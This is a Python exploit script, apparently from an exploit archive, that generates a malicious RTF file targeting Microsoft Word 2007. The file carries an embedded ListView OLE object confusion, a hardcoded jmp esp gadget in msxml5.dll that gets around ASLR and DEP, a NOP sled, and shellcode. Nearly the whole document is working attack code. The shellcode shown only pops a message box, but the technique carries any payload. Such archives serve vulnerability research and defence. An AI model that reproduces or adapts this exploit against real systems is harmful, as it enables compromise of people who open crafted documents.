Microsoft Word 2007 – RTF Object Confusion (ASLR + DEP Bypass)

# Title : Microsoft Office Word 2007 - RTF Object Confusion ASLR and DEP bypass

# Date : 28/02/2015

# Author : R-73eN

# Software : Microsoft Office Word 2007

# Tested : Windows 7 Starter

import sys

# Windows Message Box / all versions . Thanks to Giuseppe D'amore for the shellcode .

shellcode = '31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879746501686b656e42682042726f89e1fe490b31c05150ffd7'

#filecontent

content="{\\rtf1"

content+="{\\fonttbl{\\f0\\fnil\\fcharset0Verdana;}}"

content+="\\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par"

content+="\\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par"

content+="{\\object\\objocx"

content+="{\\*\\objdata"

content+="\n"

content+="01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000"

content+="00000000000000000E0000"

content+="\n"

content+="D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000"

content+="00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000"

content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"

content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF"

content+="FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"

content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"

content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400"

content+="72007900000000000000000000000000000000000000000000000000000000000000000000000000"

content+="000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628"

content+="0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00"

content+="49006E0066006F000000000000000000000000000000000000000000000000000000000000000000"

content+="0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000"

content+="00000000000000000000000000000000000000000000000000000000000000000600000000000000"

content+="03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000"

content+="000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF"

content+="00000000000000000000000000000000000000000000000000000000000000000000000001000000"

content+="160000000000000043006F006E00740065006E007400730000000000000000000000000000000000"

content+="000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF"

content+="FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000"

content+="00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000"

content+="0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000"

content+="11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF"

content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"

content+="FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000"

content+="00000000000000000000000000000000000000000000000000000000000000004C00690073007400"

content+="56006900650077004100000000000000000000000000000000000000000000000000000000000000"

content+="0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600"

content+="1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080"

content+="05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974"

content+="6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000"

content+="000000000000"

content+= 'cb818278'# Address=788281CB jmp esp | {PAGE_EXECUTE_READ} [msxml5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.20.1072.0 (C:\Program Files\Common Files\Microsoft Shared\OFFICE11\msxml5.dll)

content+="9090909090909090" #nops

content+= shellcode

#junk

content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"

content+="00000000000000"

content+="\n"

content+="}"

banner = "\n\n"

banner +=" ___ __ ____ _ _ \n"

banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"

banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"

banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"

banner +=" |___|_| |_|_| \___/ \____|\___|_| |_|[] /_/ \_\_____|\n\n"

print banner

if(len(sys.argv) < 2):

print '\n Usage : exploit.py filename.rtf'

else:

filename = sys.argv[1]

f=open(filename,"w")

f.write(content)

f.close()

print '\n[ + ] File ' + sys.argv[1] + ' created [ + ]\n'

相关漏洞条目

ZTE H298A / H108N – Unauthenticated Credential Exposure

ZTE ZXHN H188A V6 – Authentication Bypass

ZTE Routers – Unauthenticated Denial of Service

ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion